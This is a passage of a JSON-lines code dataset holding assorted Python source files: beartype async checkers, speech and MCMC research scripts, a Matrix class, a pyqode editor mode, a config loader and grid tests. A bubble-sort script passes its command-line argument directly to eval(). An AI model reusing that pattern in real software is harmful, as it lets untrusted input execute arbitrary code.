}....................\ndef is_func_async(func: object) -> bool:\n '''\n ``True`` only if the passed object is an **asynchronous callable**\n (i.e., awaitable callable satisfying the :class:`collections.abc.Awaitable`\n protocol by being declared via the ``async def`` syntax and thus callable\n *only* when preceded by comparable ``await`` syntax).\n\n Parameters\n ----------\n func : object\n Object to be inspected.\n\n Returns\n ----------\n bool\n ``True`` only if this object is an asynchronous callable.\n\n See Also\n ----------\n :func:`inspect.iscoroutinefunction`\n :func:`inspect.isasyncgenfunction`\n Stdlib functions strongly inspiring this implementation.\n '''\n\n # Code object underlying this pure-Python callable if any *OR* \"None\".\n #\n # Note this tester intentionally inlines the tests performed by the\n # is_func_async_coroutine() and\n # is_func_async_generator() testers for efficiency.\n func_codeobj = get_func_unwrapped_codeobj_or_none(func)\n\n # If this object is *NOT* a pure-Python callable, immediately return false.\n if func_codeobj is None:\n return False\n # Else, this object is a pure-Python callable.\n\n # Bit field of OR-ed binary flags describing this callable.\n func_codeobj_flags = func_codeobj.co_flags\n\n # Return true only if these flags imply this callable to be either...\n return (\n # An asynchronous coroutine *OR*...\n func_codeobj_flags & CO_COROUTINE != 0 or\n # An asynchronous generator.\n func_codeobj_flags & CO_ASYNC_GENERATOR != 0\n )\n\n\ndef is_func_async_coroutine(func: object) -> bool:\n '''\n ``True`` only if the passed object is an **asynchronous coroutine**\n (i.e., awaitable callable containing *no* ``yield`` expressions satisfying\n the :class:`collections.abc.Awaitable` protocol by being declared via the\n ``async def`` syntax and thus callable *only* when preceded by comparable\n ``await`` syntax).\n\n Parameters\n ----------\n func : object\n Object to be inspected.\n\n Returns\n ----------\n bool\n ``True`` only if this object is an asynchronous coroutine.\n\n See Also\n ----------\n :func:`inspect.iscoroutinefunction`\n Stdlib function strongly inspiring this implementation.\n '''\n\n # Code object underlying this pure-Python callable if any *OR* \"None\".\n func_codeobj = get_func_unwrapped_codeobj_or_none(func)\n\n # Return true only if...\n return (\n # This object is a pure-Python callable *AND*...\n func_codeobj is not None and\n # This callable's code object implies this callable to be an\n # asynchronous coroutine.\n func_codeobj.co_flags & CO_COROUTINE != 0\n )\n\n\ndef is_func_async_generator(func: object) -> bool:\n '''\n ``True`` only if the passed object is an **asynchronous generator**\n (i.e., awaitable callable containing one or more ``yield`` expressions\n satisfying the :class:`collections.abc.Awaitable` protocol by being\n declared via the ``async def`` syntax and thus callable *only* when\n preceded by comparable ``await`` syntax).\n\n Parameters\n ----------\n func : object\n Object to be inspected.\n\n Returns\n ----------\n bool\n ``True`` only if this object is an asynchronous generator.\n\n See Also\n ----------\n :func:`inspect.isasyncgenfunction`\n Stdlib function strongly inspiring this implementation.\n '''\n\n # Code object underlying this pure-Python callable if any *OR* \"None\".\n func_codeobj = get_func_unwrapped_codeobj_or_none(func)\n\n # Return true only if...\n return (\n # This object is a pure-Python callable *AND*...\n func_codeobj is not None and\n # This callable's code object implies this callable to be an\n # asynchronous generator.\n func_codeobj.co_flags & CO_ASYNC_GENERATOR != 0\n )\n\n# ....................{ TESTERS ~ sync }....................\ndef is_func_sync_generator(func: object) -> bool:\n '''\n ``True`` only if the passed object is a **synchronous generator**\n (i.e., awaitable callable containing one or more ``yield`` expressions\n declared with the ``def`` rather than ``async def`` keyword).\n\n Parameters\n ----------\n func : object\n Object to be inspected.\n\n Returns\n ----------\n bool\n ``True`` only if this object is a synchronous generator.\n\n See Also\n ----------\n :func:`inspect.isgeneratorfunction`\n Stdlib function strongly inspiring this implementation.\n '''\n\n # If this object is uncallable, immediately return False.\n #\n # Note this test is explicitly required to differentiate synchronous\n # generator callables from synchronous generator objects (i.e., the objects\n # they implicitly create and return). Whereas both asynchronous coroutine\n # objects *AND* asynchronous generator objects do *NOT* contain code\n # objects whose \"CO_COROUTINE\" and \"CO_ASYNC_GENERATOR\" flags are non-zero,\n # synchronous generator objects do contain code objects whose\n # \"CO_GENERATOR\" flag is non-zero. This implies synchronous generator\n # callables to create and return synchronous generator objects that are\n # themselves technically valid synchronous generator callables, which is\n # absurd. We prohibit this ambiguity by differentiating the two here.\n if not callable(func):\n return False\n # Else, this object is callable.\n\n # Code object underlying this pure-Python callable if any *OR* \"None\".\n func_codeobj = get_func_unwrapped_codeobj_or_none(func)\n\n # Return true only if...\n return (\n # This object is a pure-Python callable *AND*...\n func_codeobj is not None and\n # This callable's code object implies this callable to be a\n # synchronous generator.\n func_codeobj.co_flags & CO_GENERATOR != 0\n )\n", "source": "vcokltfre/beartype", "license": "MIT"} {"text": "# -*- coding: utf-8 -*- #\n\"\"\"*********************************************************************************************\"\"\"\n# FileName [ upstream/cpc/expert.py ]\n# Synopsis [ the cpc wrapper ]\n# Author [ S3PRL ]\n# Copyright [ Copyleft(c), Speech Lab, NTU, Taiwan ]\n\"\"\"*********************************************************************************************\"\"\"\n\n\nimport torch\nimport argparse\n\nimport torch\nfrom torch.nn.utils.rnn import pad_sequence\n\nfrom upstream.interfaces import UpstreamBase\nfrom .model import CPCModel as cpcmodel\nfrom .cpc_default_config import get_default_cpc_config\nfrom .feature_loader import getEncoder, getAR, loadArgs\n\nSAMPLE_RATE = 16000\nEXAMPLE_SEC = 3\nEXAMPLE_BATCH_SIZE = 32\n\n\nclass UpstreamExpert(UpstreamBase):\n def __init__(self, ckpt, **kwargs):\n super().__init__(**kwargs)\n\n locArgs = get_default_cpc_config()\n checkpoint = torch.load(ckpt, map_location=\"cpu\")\n loadArgs(locArgs, argparse.Namespace(**checkpoint[\"config\"]))\n\n encoderNet = getEncoder(locArgs)\n arNet = getAR(locArgs)\n self.model = cpcmodel(encoderNet, arNet)\n self.model.load_state_dict(checkpoint[\"weights\"], strict=False)\n\n if len(self.hooks) == 0:\n self.add_hook(\n \"self.model.gEncoder\", lambda input, output: output.transpose(1, 2)\n )\n self.add_hook(\"self.model.gAR\", lambda input, output: output)\n\n def forward(self, wavs):\n padded_wav = pad_sequence(wavs, batch_first=True)\n features = self.model(padded_wav.unsqueeze(1), None)[0]\n return {\n \"default\": features,\n }\n", "source": "OlegJakushkin/s3prl", "license": "MIT"} {"text": "from __future__ import print_function\nimport numpy as np\nimport bayesiancoresets as bc\nfrom scipy.optimize import minimize\nfrom inference import nuts, rhat, hmc\nimport time\n\n\n## FOR LOGISTIC REGRESSION\nfrom model_lr import *\ndnames = ['synth', 'ds1', 'phishing']\nfldr = 'lr'\n\n## FOR POISSON REGRESSION\n#from model_poiss import *\n#dnames = ['synth', 'airportdelays', 'biketrips']\n#fldr = 'poiss'\n\nn_trials = 20\nmcmc_steps = 5000 #total number of MH steps\nmcmc_burn = 1000\nprojection_dim = 500 #random projection dimension\nMs = np.unique(np.logspace(0, 3, 10, dtype=int))\npbar = True #progress bar display flag\nstep_size_init = 0.001\nn_leap = 15\ntarget_a = 0.8\nanms = ['GIGA', 'FW', 'RND']\nsampler = hmc #nuts\n\nfor dnm in dnames:\n print('Loading dataset '+dnm)\n Z, Zt, D = load_data(fldr+'/'+dnm+'.npz')\n\n print('Computing Laplace approximation')\n t0 = time.time()\n res = minimize(lambda mu : -log_joint(Z, mu, np.ones(Z.shape[0])), Z.mean(axis=0)[:D], jac=lambda mu : -grad_log_joint(Z, mu, np.ones(Z.shape[0])))\n mu = res.x\n cov = -np.linalg.inv(hess_log_joint(Z, mu))\n t_laplace = time.time() - t0\n var_scales=np.ones(cov.shape[0])\n\n cputs = np.zeros((len(anms), n_trials, Ms.shape[0]))\n csizes = np.zeros((len(anms), n_trials, Ms.shape[0]))\n Fs = np.zeros((len(anms), n_trials, Ms.shape[0]))\n cputs_full = np.zeros(n_trials)\n\n chains = np.zeros((n_trials, mcmc_steps, mu.shape[0]))\n for tr in range(n_trials):\n print('Trial ' + str(tr+1) +'/' + str(n_trials))\n\n print('Computing random projection')\n t0 = time.time()\n proj = bc.ProjectionF(Z, grad_log_likelihood, projection_dim, lambda : np.random.multivariate_normal(mu, cov)) \n vecs = proj.get()\n t_projection = time.time()-t0\n\n print('Running MCMC on the full dataset')\n logpZ = lambda th : log_joint(Z, th, np.ones(Z.shape[0]))\n glogpZ = lambda th : grad_log_joint(Z, th, np.ones(Z.shape[0]))\n mcmc_param_init = np.random.multivariate_normal(mu, cov)\n t0 = time.time()\n full_samples = sampler(logp = logpZ, gradlogp = glogpZ, \n x0 = mcmc_param_init, sample_steps=mcmc_steps, burn_steps=mcmc_burn, adapt_steps=mcmc_burn, \n n_leapfrogs = n_leap, scale=var_scales, progress_bar=pbar, step_size=step_size_init, target_accept=target_a) \n cputs_full[tr] = time.time()-t0\n chains[tr, :, :] = full_samples\n\n print('Running coreset construction / MCMC')\n for aidx, anm in enumerate(anms):\n print(anm +':')\n\n t0 = time.time()\n alg = None\n if 'GIGA' in anm:\n alg = bc.GIGA(vecs)\n elif anm == 'FW':\n alg = bc.FrankWolfe(vecs)\n else:\n alg = bc.RandomSubsampling(vecs) \n t_setup = time.time() - t0\n\n t_alg = 0.\n for m in range(Ms.shape[0]):\n print('M = ' + str(Ms[m]) + ': coreset construction')\n #this runs alg up to a level of M; on the next iteration, it will continue from where it left off\n t0 = time.time()\n alg.run(Ms[m])\n t_alg += time.time()-t0\n wts = alg.weights()\n idcs = wts > 0\n \n logpZ = lambda th : log_joint(Z[idcs, :], th, wts[idcs])\n glogpZ = lambda th : grad_log_joint(Z[idcs, :], th, wts[idcs])\n mcmc_param_init = np.random.multivariate_normal(mu, cov)\n print('M = ' + str(Ms[m]) + ': MCMC')\n t0 = time.time()\n th_samples = sampler(logp=logpZ, gradlogp=glogpZ, \n x0 = mcmc_param_init, sample_steps=mcmc_steps, burn_steps=mcmc_burn, adapt_steps=mcmc_burn, \n n_leapfrogs= n_leap, scale=var_scales, progress_bar=pbar, step_size=step_size_init, target_accept=target_a)\n t_alg_mcmc = time.time()-t0 \n\n print('M = ' + str(Ms[m]) + ': CPU times')\n cputs[aidx, tr, m] = t_laplace + t_projection + t_setup + t_alg + t_alg_mcmc\n print('M = ' + str(Ms[m]) + ': coreset sizes')\n csizes[aidx, tr, m] = (wts>0).sum()\n print('M = ' + str(Ms[m]) + ': F norms')\n gcs = np.array([ grad_log_joint(Z[idcs, :], full_samples[i, :], wts[idcs]) for i in range(full_samples.shape[0]) ])\n gfs = np.array([ grad_log_joint(Z, full_samples[i, :], np.ones(Z.shape[0])) for i in range(full_samples.shape[0]) ])\n Fs[aidx, tr, m] = (((gcs - gfs)**2).sum(axis=1)).mean()\n #print(rhat(chains))\n np.savez_compressed(fldr+'/'+dnm+'_results.npz', Ms=Ms, Fs=Fs, cputs=cputs, cputs_full=cputs_full, csizes=csizes, anms=anms)\n", "source": "raifthenerd/bayesian-coresets", "license": "MIT"} {"text": "class Matrix:\n def __init__(self, mat):\n l_size = len(mat[0])\n for line in mat:\n if l_size != len(line):\n raise ValueError('invalid matrix sizes')\n self._raw = mat\n\n @property\n def raw(self):\n return self._raw\n\n @property\n def trace(self):\n if self.size[0] == self.size[1]:\n return sum([ self[i][j] for j in range(self.size[0]) for i in range(self.size[1]) ])\n else: print('nb lines != nb columns')\n\n @property\n def size(self):\n return self._raw.__len__(), self._raw[0].__len__()\n\n def __str__(self):\n s = \"\\n\"\n for l in self._raw:\n s +='| '\n for c in l:\n s += '{:6.2f} '.format( round(float(c), 3))\n s += '|\\n'\n return s\n \n def __call__(self, index):\n return self.col(self, index)\n\n @classmethod\n def col(cls, matrix, index, raw = False):\n col = [ line[index] for line in matrix._raw ]\n if raw: return col\n else: return Vector(col)\n\n def transpose(self):\n return Matrix([ self.col(self, i, True) for i in range(self.size[1]) ])\n\n def __setitem__(self, key, item):\n if not type(item).__name__ == 'list' or len(item) != self.size[0]:\n print('invalid assignement')\n else:\n self._raw[key] = item\n\n def __getitem__(self, key):\n return Vector(self._raw[key], transpose = True)\n\n def __add__(self, other):\n if type(other).__name__ == 'Matrix' or type(other).__name__ == 'Vector':\n if self.size[0] == other.size[0] and self.size[1] == other.size[1]:\n return Matrix([ [ self._raw[i][j] + other._raw[i][j] for j in range(self.size[1])] for i in range(self.size[0])])\n else:\n try: return Matrix([ [ self._raw[i][j] + other for j in range(self.size[1])] for i in range(self.size[0])])\n except: print('cannot add')\n \n def __sub__(self, other):\n if type(other).__name__ == 'Matrix' or type(other).__name__ == 'Vector':\n if self.size[0] == other.size[0] and self.size[1] == other.size[1]:\n return Matrix([ [ self._raw[i][j] - other._raw[i][j] for j in range(self.size[1])] for i in range(self.size[0])])\n else:\n try: return Matrix([ [ self._raw[i][j] - other for j in range(self.size[1])] for i in range(self.size[0])])\n except: print('cannot substract')\n\n def __mul__(self, other):\n if type(other).__name__ == 'Matrix' or type(other).__name__ == 'Vector':\n if self.size[1] == other.size[0]: # nb c == nb l\n res = []\n for i in range(self.size[0]):\n res += [[]]\n for j in range(other.size[1]):\n res[i] += [sum([m*n for m,n in zip(self._raw[i], self.col(other, j, True))])]\n return Matrix(res)\n else:\n try: return Matrix([ [ self[i][j] * other for j in range(self.size[1])] for i in range(self.size[0])])\n except: print('cannot substract')\n\n @classmethod\n def gen(cls, l, c, fill = 0):\n mat = [[fill for j in range(c)] for i in range(l)]\n return Matrix(mat)\n\n\nclass Vector(Matrix):\n def __init__(self, vect, transpose = False):\n self.transposed = transpose\n super().__init__([vect] if transpose else [ [elem] for elem in vect ] )\n\n @property\n def raw(self):\n if self.transposed:\n return self._raw[0]\n else:\n return self.col(self, 0, True)\n\n @property\n def gravity(self):\n return sum(self.raw) / len(self.raw)\n\n def __setitem__(self, key, item):\n if self.transposed:\n self._raw[0][key] = item\n else:\n self._raw[key][0] = item\n\n def __getitem__(self, key):\n if self.transposed:\n if type(self._raw[0][key]).__name__ == 'list':\n return Vector(self._raw[0][key])\n else:\n return self._raw[0][key]\n else:\n if type(self._raw[key][0]).__name__ == 'list':\n return Vector(self._raw[key][0])\n else:\n return self._raw[key][0]\n \n @classmethod\n def gen(cls, l, fill = 0):\n mat = super().gen(l, 1, fill)\n return mat(0)\n\n# ==================================================================\n\n# m = [[1,2,3],[4,5,6],[7,8,9]]\n\n# mt = Matrix(m)\n# print(mt)\n# print(mt.transpose())\n# print(mt.trace)\n# print(mt.size)\n\n# mt2 = mt.transpose()\n# mt3 = Matrix.gen(3,3,9)\n# print(mt3)\n# print(mt2 + mt,mt2 - mt, mt2 * mt)", "source": "rajeev-kr/Geom8ry", "license": "MIT"} {"text": "import argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--list')\nargs = parser.parse_args()\n\nalist = eval('[' + args.list + ']')\nfor i in range(len(alist) - 1):\n for j in range(0, len(alist)-i-1):\n if alist[j] > alist[j+1]:\n print alist,\n print \">> Since (%s > %s) then Swap %s <--> %s\" % (alist[j], alist[j+1], alist[j], alist[j+1])\n alist[j], alist[j+1] = alist[j+1], alist[j]\n else:\n print alist,\n print \">> Since (%s <= %s) then Keep\" % (alist[j], alist[j+1])\n print \"\"\n\n\nprint \"Sorted Array:\", alist\n", "source": "hossamelmansy/theory-of-algorithms", "license": "MIT"} {"text": "\"Tests broadcast_sub function for returned-dictionary substitutions\"\nfrom gpkit import Variable, Model, ConstraintSet, Vectorize\nfrom gpkit.small_scripts import broadcast_substitution\n\nclass Pie(Model):\n \"Pie model\"\n def setup(self):\n self.x = x = Variable(\"x\")\n z = Variable(\"z\")\n constraints = [\n x >= z,\n ]\n substitutions = {'z': 1}\n return constraints, substitutions\n\nclass Cake(Model):\n \"Cake model, containing a vector of Pies\"\n def setup(self):\n self.y = y = Variable(\"y\")\n with Vectorize(2):\n s = Pie()\n constraints = [y >= s.x]\n constraints += [s]\n subs = {'x': broadcast_substitution(s.x, [2, 3])}\n return constraints, subs\n\nclass Yum1(Model):\n \"Total dessert system model containing 5 Cakes\"\n def setup(self):\n with Vectorize(5):\n cake = Cake()\n y = cake.y\n self.cost = sum(y)\n constraints = ConstraintSet([cake])\n return constraints\n\nm = Yum1()\nsol = m.solve(verbosity=0)\nprint(sol.table())\n\nclass Yum2(Model):\n \"Total dessert system model containing 1 Cake\"\n def setup(self):\n with Vectorize(1):\n cake = Cake()\n y = cake.y\n self.cost = sum(y)\n constraints = ConstraintSet([cake])\n return constraints\n\nm = Yum2()\nsol = m.solve(verbosity=0)\nprint(sol.table())\n", "source": "convexengineering/gpk", "license": "MIT"} {"text": "import cv2\nimport bisect\n\n\nclass SizeDetector(object):\n \"\"\"Detects piece size in pixels from given image\n\n Image is split into RGB single-channel images. Single-channel images are\n combined (R + G, R + B, G + B) in order to cover special edge cases where input\n image have one dominant color commponent.\n\n For each single channel-image size candidates are found and candidate with most\n occurances is selected.\n\n :param image: Input puzzle with square pieces.\n\n Usage::\n\n >>> import cv2\n >>> from gaps.size_detector import SizeDetector\n >>> image = cv2.imread('puzzle.jpg')\n >>> detector = SizeDetector(image)\n >>> piece_size = detector.detect_piece_size()\n\n \"\"\"\n\n # Max absolute difference between width and height of bounding rectangle\n RECTANGLE_TOLERANCE = 3\n\n # Contour area / area of contours bounding rectangle\n EXTENT_RATIO = 0.75\n\n # Piece sizes bounds\n MIN_SIZE = 28\n MAX_SIZE = 64\n\n # Coefficient for MIN puzzle piece size\n MIN_SIZE_C = 0.9\n\n # Coefficient for MAX puzzle piece size\n MAX_SIZE_C = 1.3\n\n def __init__(self, image):\n self._image = image.copy()\n self._possible_sizes = []\n self._calculate_possible_sizes()\n\n def detect_piece_size(self):\n \"\"\"Detects piece size in pixels\"\"\"\n\n if len(self._possible_sizes) == 1:\n return self._possible_sizes[0]\n\n blue, green, red = cv2.split(self._image)\n\n split_channel_images = [\n red,\n green,\n blue,\n cv2.add(red, green),\n cv2.add(red, blue),\n cv2.add(green, blue)\n ]\n\n size_candidates = []\n for image in split_channel_images:\n candidates = self._find_size_candidates(image)\n size_candidates.extend(candidates)\n\n sizes_probability = { size: 0 for size in self._possible_sizes }\n for size_candidate in size_candidates:\n nearest_size = self._find_nearest_size(size_candidate)\n sizes_probability[nearest_size] += 1\n\n piece_size = max(sizes_probability, key=sizes_probability.get)\n return piece_size\n\n def _find_size_candidates(self, image):\n binary_image = self._filter_image(image)\n\n _, contours, _ = cv2.findContours(binary_image,\n cv2.RETR_LIST,\n cv2.CHAIN_APPROX_SIMPLE)\n\n size_candidates = []\n for contour in contours:\n bounding_rect = cv2.boundingRect(contour)\n contour_area = cv2.contourArea(contour)\n if self._is_valid_contour(contour_area, bounding_rect):\n candidate = (bounding_rect[2] + bounding_rect[3]) / 2\n size_candidates.append(candidate)\n\n return size_candidates\n\n def _is_valid_contour(self, contour_area, bounding_rect):\n _, _, width, height = bounding_rect\n extent = float(contour_area) / (width * height)\n\n lower_limit = self.MIN_SIZE_C * self._possible_sizes[0]\n upper_limit = self.MAX_SIZE_C * self._possible_sizes[-1]\n\n is_valid_lower_range = width > lower_limit and height > lower_limit\n is_valid_upper_range = width < upper_limit and height < upper_limit\n is_square = abs(width - height) < self.RECTANGLE_TOLERANCE\n is_extent_valid = extent >= self.EXTENT_RATIO\n\n return is_valid_lower_range and is_valid_upper_range and is_square and is_extent_valid\n\n def _find_nearest_size(self, size_candidate):\n index = bisect.bisect_right(self._possible_sizes, size_candidate)\n\n if index == 0:\n return self._possible_sizes[0]\n\n if index >= len(self._possible_sizes):\n return self._possible_sizes[-1]\n\n right_size = self._possible_sizes[index]\n left_size = self._possible_sizes[index - 1]\n\n if abs(size_candidate - right_size) < abs(size_candidate - left_size):\n return right_size\n else:\n return left_size\n\n def _calculate_possible_sizes(self):\n \"\"\"Calculates every possible piece size for given input image\"\"\"\n rows, columns, _ = self._image.shape\n\n for size in range(self.MIN_SIZE, self.MAX_SIZE + 1):\n if rows % size == 0 and columns % size == 0:\n self._possible_sizes.append(size)\n\n def _filter_image(self, image):\n _, thresh = cv2.threshold(image, 200, 255, cv2.THRESH_BINARY)\n opened = cv2.morphologyEx(thresh, cv2.MORPH_OPEN, (5, 5), iterations=3)\n\n return cv2.bitwise_not(opened)\n", "source": "DEVESHTARASIA/gaps", "license": "MIT"} {"text": "from pyqode.qt.QtCore import QObject, QTimer, Signal, Qt\nfrom pyqode.qt.QtWidgets import QAction\nfrom pyqode.qt.QtGui import QTextCursor\nfrom pyqode.core.api import Mode, TextHelper, TextDecoration, DelayJobRunner\n\n\nclass GoToDefinitionMode(Mode, QObject):\n \"\"\"\n Go to the definition of the symbol under the word cursor.\n \"\"\"\n #: Signal emitted when a word is clicked. The parameter is a\n #: QTextCursor with the clicked word set as the selected text.\n word_clicked = Signal(QTextCursor)\n\n def __init__(self):\n QObject.__init__(self)\n Mode.__init__(self)\n self._previous_cursor_start = -1\n self._previous_cursor_end = -1\n self._definition = None\n self._deco = None\n self._pending = False\n self.action_goto = QAction(_(\"Go to assignments\"), self)\n self.action_goto.setShortcut('F7')\n self.action_goto.triggered.connect(self.request_goto)\n self.word_clicked.connect(self.request_goto)\n self._timer = DelayJobRunner(delay=200)\n\n def on_state_changed(self, state):\n \"\"\"\n Connects/disconnects slots to/from signals when the mode state\n changed.\n \"\"\"\n super(GoToDefinitionMode, self).on_state_changed(state)\n if state:\n self.editor.mouse_moved.connect(self._on_mouse_moved)\n self.editor.mouse_released.connect(self._on_mouse_released)\n self.editor.add_action(self.action_goto, sub_menu='COBOL')\n self.editor.mouse_double_clicked.connect(\n self._timer.cancel_requests)\n else:\n self.editor.mouse_moved.disconnect(self._on_mouse_moved)\n self.editor.mouse_released.disconnect(self._on_mouse_released)\n self.editor.remove_action(self.action_goto, sub_menu='Python')\n self.editor.mouse_double_clicked.disconnect(\n self._timer.cancel_requests)\n\n def _select_word_under_mouse_cursor(self):\n \"\"\" Selects the word under the mouse cursor. \"\"\"\n cursor = TextHelper(self.editor).word_under_mouse_cursor()\n if (self._previous_cursor_start != cursor.selectionStart() and\n self._previous_cursor_end != cursor.selectionEnd()):\n self._remove_decoration()\n self._add_decoration(cursor)\n self._previous_cursor_start = cursor.selectionStart()\n self._previous_cursor_end = cursor.selectionEnd()\n\n def _on_mouse_moved(self, event):\n \"\"\" mouse moved callback \"\"\"\n if event.modifiers() & Qt.ControlModifier:\n self._select_word_under_mouse_cursor()\n else:\n self._remove_decoration()\n self.editor.set_mouse_cursor(Qt.IBeamCursor)\n self._previous_cursor_start = -1\n self._previous_cursor_end = -1\n\n def _on_mouse_released(self, event):\n \"\"\" mouse pressed callback \"\"\"\n if event.button() == 1 and self._deco:\n cursor = TextHelper(self.editor).word_under_mouse_cursor()\n if cursor and cursor.selectedText():\n self._timer.request_job(self.word_clicked.emit, cursor)\n\n def find_definition(self, symbol, definition):\n if symbol.lower() == definition.name.lower().replace(\" section\", \"\").replace(\" division\", \"\"):\n return definition\n for ch in definition.children:\n d = self.find_definition(symbol, ch)\n if d is not None:\n return d\n return None\n\n def select_word(self, cursor):\n symbol = cursor.selectedText()\n analyser = self.editor.outline_mode\n for definition in analyser.definitions:\n node = self.find_definition(symbol, definition)\n if node is not None:\n break\n else:\n node = None\n self._definition = None\n if node and node.line != cursor.block().blockNumber():\n self._definition = node\n if self._deco is None:\n if cursor.selectedText():\n self._deco = TextDecoration(cursor)\n self._deco.set_foreground(Qt.blue)\n self._deco.set_as_underlined()\n self.editor.decorations.append(self._deco)\n return True\n return False\n\n def _add_decoration(self, cursor):\n \"\"\"\n Adds a decoration for the word under ``cursor``.\n \"\"\"\n if self.select_word(cursor):\n self.editor.set_mouse_cursor(Qt.PointingHandCursor)\n else:\n self.editor.set_mouse_cursor(Qt.IBeamCursor)\n\n def _remove_decoration(self):\n \"\"\"\n Removes the word under cursor's decoration\n \"\"\"\n if self._deco is not None:\n self.editor.decorations.remove(self._deco)\n self._deco = None\n\n def request_goto(self, tc=None):\n \"\"\"\n Request a go to assignment.\n\n :param tc: Text cursor which contains the text that we must look for\n its assignment. Can be None to go to the text that is under\n the text cursor.\n :type tc: QtGui.QTextCursor\n \"\"\"\n if not tc:\n tc = TextHelper(self.editor).word_under_cursor(\n select_whole_word=True)\n if not self._definition or isinstance(self.sender(), QAction):\n self.select_word(tc)\n if self._definition is not None:\n QTimer.singleShot(100, self._goto_def)\n\n def _goto_def(self):\n if self._definition:\n line = self._definition.line\n col = self._definition.column\n TextHelper(self.editor).goto_line(line, move=True, column=col)\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "import uuid\n\nfrom Flask_App.utils.models.data_service import DataService, ServiceLayerError\n\n\n__author__ = 'lachlan'\n\nclass DataUUIDService(DataService):\n\n def __init__(self, db):\n super(DataUUIDService, self).__init__(db)\n self.bad_keys.append('uuid')\n\n def create_server_side_fields(self, **fields):\n # create a uuid for this record\n uid = uuid.uuid4()\n fields['uuid'] = str(uid) # This ensures that a fake uuid cant be sent up\n return fields\n\n def get_by_uid(self, uid):\n try:\n req = self.db.query(self.tablename).filter(self.tablename.uuid == uid).first()\n if req ==[]:\n return None\n else:\n return req\n except Exception as e:\n self.logger.error(\"Error occurred while retrieving record by uuid with error msg: %s\" % (str(e)))\n self.db.rollback()\n raise ServiceLayerError(\"Error occurred while retrieving record by uuid with error msg: %s\" % (str(e)))", "source": "mitchoneill/FieldGuideAU", "license": "MIT"} {"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"This loads the user's _config.py file and provides a standardized interface\ninto it.\"\"\"\n\nimport os\nimport sys\nimport urllib.parse\nimport re\n\nfrom . import cache\nfrom . import controller\nfrom . import filter\n\nfrom .cache import zf\n\n\nzf.config = sys.modules['zeekofile.config']\n\n__loaded = False\n\n\nclass UnknownConfigSectionException(Exception):\n pass\n\n\nclass ConfigNotFoundException(Exception):\n pass\n\noverride_options = {}\n\nsite = cache.HierarchicalCache()\ncontrollers = cache.HierarchicalCache()\nfilters = cache.HierarchicalCache()\n\n\ndef recompile():\n global site\n site.compiled_file_ignore_patterns = []\n for p in site.file_ignore_patterns:\n if isinstance(p, str):\n site.compiled_file_ignore_patterns.append(\n re.compile(p, re.IGNORECASE))\n else:\n site.compiled_file_ignore_patterns.append(p)\n global blog\n blog.url = urllib.parse.urljoin(site.url, blog.path)\n\n\nzeekofile_codebase = os.path.dirname(__file__)\ndefault_path = os.path.join(zeekofile_codebase, \"_default_config.py\")\n\n\ndef __load_config(path=None):\n # Strategy:\n # 1) Load the default config\n # 2) Load the filters and controllers\n # 3) Finally load the user's config.\n # This will ensure that we have good default values if the user's\n # config is missing something.\n exec(open(default_path).read(), globals(), locals())\n\n filter.preload_filters(\n directory=os.path.join(zeekofile_codebase, '_filters'))\n filter.preload_filters()\n controller.load_controllers(\n directory=os.path.join(zeekofile_codebase, '_controllers'))\n controller.load_controllers()\n if path:\n exec(open(path).read(), globals(), locals())\n\n # config is now in locals() but needs to be in globals()\n for k, v in locals().items():\n globals()[k] = v\n\n # Override any options (from unit tests)\n for k, v in override_options.items():\n if \".\" in k:\n parts = k.split(\".\")\n cache_object = \".\".join(parts[:-1])\n setting = parts[-1]\n cache_object = eval(cache_object)\n cache_object[setting] = v\n else:\n globals()[k] = v\n recompile()\n __loaded = True\n\n\ndef init(config_file_path=None):\n # Initialize the config, if config_file_path is None,\n # just load the default config\n if config_file_path:\n if not os.path.isfile(config_file_path):\n raise ConfigNotFoundException\n __load_config(config_file_path)\n else:\n __load_config()\n return globals()['__name__']\n", "source": "cdarlint/zeekofile", "license": "MIT"} {"text": "from core import *\nimport pytest\n\ndef test_empty_grid_drop_dot():\n ''' drops an active dot block in an empty grid'''\n assert Grid([], ActiveBlock(3, 5, Block([(0,0)]))).drop() == \\\n Grid([], ActiveBlock(3, 4, Block([(0,0)])))\n\n@pytest.mark.skip\ndef test_occupied_grid_drop_dot():\n ''' drops an active dot block in a grid with another dot '''\n assert Grid([Block([(0,0)])], ActiveBlock(3, 5, Block([(0,0)]))).drop() == \\\n Grid([Block([(0,0)])], ActiveBlock(3, 4, Block([(0,0)])))\n\n@pytest.mark.skip\ndef test_empty_grid_move_dot_left():\n ''' moves an active dot block to the left in an empty grid'''\n assert Grid([], ActiveBlock(3, 5, Block([(0,0)]))).move('left') == \\\n Grid([], ActiveBlock(2, 5, Block([(0,0)])))\n\n@pytest.mark.skip\ndef test_empty_grid_move_dot_right():\n ''' moves an active dot block to the right in an empty grid'''\n assert Grid([], ActiveBlock(3, 5, Block([(0,0)]))).move('right') == \\\n Grid([], ActiveBlock(4, 5, Block([(0,0)]))) \n\n@pytest.mark.skip\ndef test_empty_grid_move_nonsense_direction():\n ''' calls move with an invalid direction argument. '''\n assert Grid([], ActiveBlock(3, 5, Block([(0,0)]))).move('not left or right') is None\n\n@pytest.mark.skip\ndef test_rotate_dot():\n g = Grid([], ActiveBlock(3, 5, Block([(0,0)])))\n assert g.rotate() == g\n\n@pytest.mark.skip\ndef test_rotate_L():\n assert Grid([], ActiveBlock(3, 5, Block([(0, 2), (0, 1), (0, 0), (1, 0)]))).rotate() == \\\n Grid([], ActiveBlock(3, 5, Block([(2, 0), (1, 0), (0, 0), (0, -1)])))\n\n@pytest.mark.skip\ndef test_four_rotations_is_identity():\n g = Grid([], ActiveBlock(3, 5, Block([(0, 2), (0, 1), (0, 0), (1, 0)])))\n assert g.rotate().rotate().rotate().rotate() == g\n\n@pytest.mark.skip\ndef test_valid_corners_current():\n # bottom left\n assert not Grid([], ActiveBlock(-1, 0, Block([(0, 0)]))).is_valid()\n assert not Grid([], ActiveBlock(-1, -1, Block([(0, 0)]))).is_valid()\n assert not Grid([], ActiveBlock(0, -1, Block([(0, 0)]))).is_valid()\n assert Grid([], ActiveBlock(0, 0, Block([(0, 0)]))).is_valid()\n # bottom right\n assert not Grid([], ActiveBlock(WIDTH, 0, Block([(0, 0)]))).is_valid()\n assert not Grid([], ActiveBlock(WIDTH, -1, Block([(0, 0)]))).is_valid()\n assert not Grid([], ActiveBlock(WIDTH-1, -1, Block([(0, 0)]))).is_valid()\n assert Grid([], 